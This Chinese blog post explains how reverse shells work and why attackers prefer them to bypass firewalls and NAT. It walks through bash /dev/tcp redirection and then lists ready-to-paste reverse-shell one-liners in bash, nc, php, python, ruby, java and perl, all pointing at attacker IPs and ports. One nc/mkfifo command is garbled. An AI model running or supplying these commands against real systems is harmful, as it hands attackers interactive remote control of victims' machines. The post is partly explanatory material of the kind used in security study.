什么是反弹shell
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
反弹即是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接
反弹shell的本质
在靶机上执行如下命令1
bash -i >& /dev/tcp/192.168.43.164/6666 0>&1
在攻击机上接收到会话
分析
对上述命令进行拆分
bash -i
- -i 这一命令表示shell是交互式的,你输入一行命令,shell就执行一行命令
- 其实不止可以使用bash,因为linux有多个shell,所以也可以使用sh、zsh等
>&
根据shell手册上的解释,这种结构把标准输出 和标准错误输出同时重定向其后的文件中,一般有两种形式:>&[word]
和&>[word]
/dev/tcp/IP/PORT
如果主机名是个有效的主机名称或因特网地址,并且端口号是整数型的端口 号或服务名称,bash 会试图打开一个到相应套接字端口的 tcp 连接/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的
探索
1.输入bash -i > /dev/tcp/ip/port
会发现在靶机上输入命令,其结果会在攻击机上显示
上述命令的含义就是将靶机上的输出重定向到攻击机上
2.输入bash -i < /dev/tcp/ip/port
则意味着将输入重定向,也就是攻击机上的输入结果会回显到靶机上
3.将上述俩条命令结合就形成了bash -i > /dev/tcp/ip/port 0>&1
满足了在攻击机上输入命令,攻击机上回显,但是,靶机上同样会显示攻击机所输入的命令
4.对比最开始的命令bash -i >& /dev/tcp/192.168.43.164/6666 0>&1
,3的区别就在于缺少标准错误的重定向,实际上就是后面少了一个2>&1
标准错误2不仅显示错误信息,居然还有回显输入命令和终端提示符的作用。
进一步
对于bash -i >& /dev/tcp/192.168.43.164/6666 0>&1
,等价于1
2
3
4
5bash -i &>/dev/tcp/192.168.43.164/6666 0>&1
bash -i>& /dev/tcp/192.168.43.164/6666 0<&1
bash -i>& /dev/tcp/192.168.43.164/6666 <&1
bash -i>& /dev/tcp/192.168.43.164/6666 <&2
bash -i 1>/dev/tcp/192.168.43.164/6666 2>&1 0>&1
其他方法
exec函数
1 | exec 5<>/dev/tcp/192.168.190.138/6666;cat <&5|while read line;do $line>&5 2>&1;done |
这一句将文件描述符5重定向到了 /dev/tcp/192.168.190.138/6666
并且方式是读写方式
1 | command | while read line |
这是一种常见的用法,command命令的输出作为read循环的输入,while read line 是一次性将文件信息读入并赋值给变量line ,while中使用重定向机制,文件中的所有信息都被读入并重定向给了整个while 语句中的line 变量。
上述命令使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能
nc
nc很少出现在生产系统中,即使存在,有些也没有-e
选项1
nc -e /bin/sh 10.0.0.1 1234
出于上述原因,还有另一种方法1
rm 2>&1|nc 10.0.0.1 1234 > f f;mkfifo f;cat f| sh -i
在tmp目录下创立一个名称为f的管道
管道是一种通信机制,通常用于进程间的通信(也可通过socket进行网络通信),它表现出来的形式将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)
cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
php
方法1:1
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
方法2:1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
java
1 | r = Runtime.getRuntime() |
perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
参考链接:
https://www.freebuf.com/articles/system/178150.html
https://xz.aliyun.com/t/2549
https://www.freebuf.com/articles/system/153986.html
Author: damn1t
Link: http://microvorld.com/2020/01/31/OS/反弹shell原理/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.